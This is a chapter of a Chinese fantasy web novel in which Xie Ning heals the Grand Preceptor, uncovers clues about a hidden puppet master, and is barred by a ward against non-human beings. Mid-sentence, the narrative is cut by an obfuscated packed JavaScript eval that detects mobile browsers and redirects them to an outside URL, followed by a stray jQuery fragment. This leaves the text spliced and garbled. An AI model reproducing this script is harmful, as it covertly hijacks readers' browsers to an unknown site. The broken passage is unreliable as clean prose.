谢宁蹲下身探了探大国师的灵息,里面微弱的反应让谢宁堪堪松了一口气。
见宋逢安站在一边没有任何表示,她道:“你过来看看呀,你弟弟受伤了。”
宋逢安才缓缓挪动步子,走近看向那张与自己仅有几分像的脸,有些呆愣。
谢宁感到奇怪,“怎么了?你怎么脸色更差了?”
宋逢安偏过头。
“没什么。”
周鹤回突然道:“我要回魔界一趟。”
“回去做什么?”
周鹤回面上挂着若有若无、森然的微笑:“清理门户。”
谢宁看向他,只见他原本不着调的脸上是令人陌生的寒,她才想起刚刚周鹤回有提到魔王很有可能插手了这件事。
魔王率先插手人间事,意味着当年的约定尽数作废。
谢宁不了解那段往事,只知道人魔约定后,祸乱人间的六欲魔王消失在了人间,几位与之约定的初代掌门大多也没了音讯。
大国师身上还有魔族的气息,也难怪周鹤回那么反常,即使在一剑天被围攻,周鹤回也只是压着那道“红线”借给她灵力,而非主动出手。
周鹤回离开后,陈宛青对谢宁简单解释了人魔之间的那场约定:
除非毁灭性的浩劫降临,双方不许互相干涉。
干涉的代价便是将灵魂钉在问天塔顶,任由塔顶那道漩涡绞碎,永不得超生。
这本是他们与几位长老之间的恩怨,魔王插手此事,便是撕毁当年的契约,周鹤回作为六欲魔王之一,一定要回去调查清楚。
谢宁感叹道:“宛君,你知道的可真不少!”
陈宛青笑了笑,意味不明地看向宋逢安,只见他臭着脸,看着谢宁。
谢宁不明所以:“怎么了?”
陈宛青实在不知该如何委婉,只得如实道:“当年你在一剑天求学时,逢安专门为你讲过这个。”
宋逢安好整以暇地看着她,似乎在等她一个合理的解释。
“啊——原来你给我讲过呀。”谢宁一尴尬就胡言乱语的毛病开始犯了:“我还在想我为什么会对这个有印象呢!你看看,我睡了一百年,记性都不好了,你们以后可别这么睡哈,容易变傻。”
宋逢安闻言,沉默了一瞬,随后轻声道:“不是什么要紧的事,不记得也无妨。”
谢宁心想总算是蒙混过关,她现在和宋逢安相处太过别扭,索性转身蹲在大国师身边思考该如何化解镇魂钉带来的伤害。
作为旁观者的陈宛青自然清楚,她倚靠在隐蔽的假山旁,对着宋逢安浅浅一笑:“我还以为你会生气。”
“何出此言?”
“犹记得当初你在一剑天讲学时,谢宁姑娘答不上来那些问题,你都会生气好久。”
宋逢安道:“当时年少,倒是为难了她许多。”
陈宛青哈哈一笑,向来温和的脸上浮现出明显的笑意:“我看是当时年少,没曾想一别经年,犹恐魂不归吧?我看她提起百年二字时,你那明显的目光也就她没看出来了。”
宋逢安一愣。
陈宛青看了一眼谢宁认真为大国师疗伤的背影,继续道:“我想她应该看见了那副棺椁,里面的......应该也看到了。你不打算给她一个解释吗?”
宋逢安果断摇头:“她不需要知道。”
“你真的很自私呀!”陈宛青放松身体,半靠在假山边,盯着谢宁背影,无奈摇头。
“什么都不说,是想让她自己猜吗?当年你为什么没有拿着风露引去还她一个公道?你是如何为她写的清正状,又是如何力排众议将她的名字写在天下英杰榜中冠名正道之首?桩桩件件,这么多事情,她知道也好,不知道也罢,你不说,有为什么要去做?”
宋逢安沉吟片刻,轻声道:“但行其事,不问因果。”
“你不在乎?”
“不在乎。”
宋逢安说得坚定,目光中敛去温柔的底色,转身离开,不知去了何处。
陈宛青深吸一口气,这二人,叫她如何是好?
谢宁这边为大国师疗伤,镇魂钉的法力太过强劲,她趁宋逢安不备,偷偷以血祭才勉强得以抵抗。
发动血祭时,手指每每流血都会疼得她皱眉,这次更是疼得异常,这具身体越来越虚弱,仿佛已经油尽灯枯。
就连内丹也不再生长,停滞不前,法力也随之变得愈来愈稀薄。
周鹤回为她渡送来的灵力还残存在其中,那灵力似乎感受到内丹的脆弱,小心翼翼温养着它。
但镇魂钉留下的伤口四周魔气太重,很容易腐蚀大国师的意识。
谢宁干脆将灵力笼罩在他的周身,可见他身上的伤口迅速愈合,也有要转醒的迹象。
她把这一切做完,左右看了看,宋逢安他们不在身边。
陈宛青很快便出来了,她刚刚仅仅是靠在了一个不太显眼的假山旁边,见谢宁似乎在寻找她,便转身走了出来。
“你在找我吗?”陈宛青走近,发现大国师身上的伤口竟奇迹般迅速愈合,不用想,便知道这是谢宁做得。
谢宁眨眨眼,问道:“怎么就你一个人?”
“他去疗伤了。”陈宛青想了想,并不确定他到底去了哪里。
谢宁“哦”了一声:“疗伤还不要我们看吗?小气。”
“逢安大抵是不习惯,稍等片刻。”
“不急。”
谢宁趁着这个时间,又给大国师检查了一遍魔气,忽然从他的脚底处发现了一道熟悉的伤痕。
“细密沟纹,灼烧感明显,最重要的是,伤口面积大,并且残留着腐蚀的魔气。”
谢宁摸了摸下巴,得出这样的结论。
陈宛青虽论阅历资历辈分都与初代长老们并肩,但这种细节观察和对魔族的了解程度,远不如谢宁。
于是,她问道:“这是怎么了?”
谢宁嗅了嗅伤口的位置,面色一变,“好臭!”
她赶忙离开几步远:“是怨鬼哭的味道,我还纳闷为什么这么熟悉!”
陈宛青知道怨鬼哭有多难缠,不把它彻底杀死,它就会一直缠着它选中的人,
很少有人能摆脱它,都是求助修真界门内弟子前来镇压。
有怨鬼哭的地方就会有血戮渊,血戮渊以吸食恐惧为生,怨鬼哭带来巨大灾难后必然能让血戮渊吃得饱。
这次怨鬼哭的味道虽恶臭难闻,但谢宁竟觉得有些莫名的熟悉,就好像当初在黄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095063|172589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
风家遇到的那只几乎一模一样。
谢宁心里隐隐有了预测。
现在只需要确定一件事情,她就可以将这个怀疑的人确定下来。
她问道:“当初我和掌门在下修处理怨鬼哭,临走前掌门说会有一剑天弟子前来收场,宛君还记得是谁吗?”
“我记不大清了,此事非需优先考虑,我将这个任务放在了司刑长老门下,当日便派去了弟子,好像是司刑长老的大弟子……”
他说着说着,呆住了,司刑长老的大弟子,不就是无相依附的那个修士吗!
果然,一切都说得通了,现在只要找到混迹在其中的傀师……
谢宁目光中带着陈宛青看不懂的深意。
“当务之急要先找到怨鬼哭。”
“等大国师醒过来,问一问他。”
谢宁想将他拖起,打算找个落脚之处,只听一道熟悉的,清冷的嗓音传来:“先别动。”
谢宁定睛一看,只见宋逢安白衣若雪,迈着稳健得四方步,向她们走来。
谢宁意外道:“你恢复了?”
“嗯。”
宋逢安轻轻应来,陈宛青似乎是早就知道,并没多少意外,“既然恢复了,便看看你弟弟为何还不醒?”
“他的五脏六腑被魔气束缚。”
宋逢安恢复灵力后一眼便看了出来,谢宁还在纳闷,他究竟用了什么法子,能在这么短的时间内恢复原身?
宋逢安突然叫她:“在想什么?”
谢宁条件反射般后退一步:“在想是不是雨楼客做的。”
“不是他。”宋逢安道:“应该是那个傀师。”
隐藏在人群中的傀师。
谢宁想找一处落脚,宋逢安提议:“此处有我一处宅邸,可供落脚。”
“你刚刚为何不说?”
“稚子之身,无法破阵。”
宋逢安说得果然没错,还未来到他说的那落脚之处,谢宁便感受到了一股巨大的杀气,这个杀气来自脚下,应该是他所设下的阵法。
宋逢安踩着几片叶子轻身擦过,几步便打开了院落的小门。
阵法便突然消失了。
谢宁与陈宛青扶着大国师走向那小门,可偏偏,谢宁被拒之门外。
院落小门外似乎有一道无形的阵法将她屏退在了院落之外。
“这……”
宋逢安面色微变,陈宛青问道:“这是什么?谢宁怎么进不来?”
“我没有设阵法,这是小院自带的保护阵法,屏退的是……”
谢宁有一种不好的预感。
“屏退的是什么?”
“非人之物……”
谢宁伸出手,缓缓触向那道屏障,上面灵流粼粼闪烁,却坚如磐石。
“……不可能,我在温雪的身体里,怎么会算做非人之物呢?”
谢宁犹疑猜测:“非人之物?难道说……”
忽然,天外传来一阵钟声!
“铛——铛——”
宋逢安目光剧变,立刻伸手抓住谢宁的手腕:“谢宁!”
而谢宁此刻听不到任何声音,耳边唯有钟声回荡,自一剑天传来,悠远如轻呢:
“魂兮归来……”